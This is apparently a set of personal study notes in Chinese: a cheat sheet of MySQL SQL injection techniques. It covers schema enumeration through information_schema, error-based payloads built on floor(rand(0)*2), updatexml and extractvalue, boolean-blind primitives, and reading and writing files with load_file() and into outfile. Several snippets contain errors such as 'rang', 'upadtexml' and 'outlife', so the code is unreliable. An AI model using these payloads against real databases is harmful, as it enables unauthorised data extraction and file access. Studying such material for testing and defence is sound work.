基本知识
- 查库
select schema_name from information_schema.schemata;
- 查表
select table_name from information_schema.tables where table_schema='数据库名'
- 查列:
select column_name from information_schema.columns where table_name='表名'
- 查字段
select * from 表名.列名
常用查询函数
system_user() // 显示系统用户
user() // 目前登陆用户
session_user() // 连接数据库的用户名
database() // 当前数据库
version() // 数据库版本信息
@@datadir // 数据库路径
@@version_compile_os // 当前操作系统版本
报错注入
count() // 总个数
group by // 分组
floor() // 向下取整,去掉小数部分
rand() // 0-1随机取数
// 当rang(0)时,传入floor()
floor(rang(0)*2) // 序列0110110
**原理:**报错的时候会把数据库名爆出来
select count(*),(concat(floor(rand(0)*2),0x26,(select database())))x from users group by x;
// group by 查询时,先建立一个空表
upadtexml()
extractvalue()
updatexml(1,2,concat(0x7e,(database()),0x7e))
// 最大长度32位
布尔盲注
// left(a,b)从左截取a的前b位,正确则返回1,错误则返回0
left() left(database(),1)='s'
// user的结果是root,regexp为匹配root的正则表达式
regexp select user() regexp 'r'
// 匹配与regexp相似
like select user() like 'ro%'
if(condition,A,B)
// 如果condition为true,则执行语句A,否则执行B
// 例:select if(1>2,4,5) 返回的结果是5
// substr(a,b,c)从位置b开始,截取a字符串c位长度
// 匹配第一个字符是否是's'
substr(a,b,c) select substr(select,1,1)='s'
// 长度
length()
//
benchmark()
// 将某个字符串转化为ascii值
ascii()
// 在python中
char(数字) = 字符
ord('字符') = 数字
文件读取
// 读取本地文件
load_file()
select load_file('文件路径');
// 写文件
into outfile
select 'mysql is very good' into outlife 'test.txt';
注意:报错时应使用://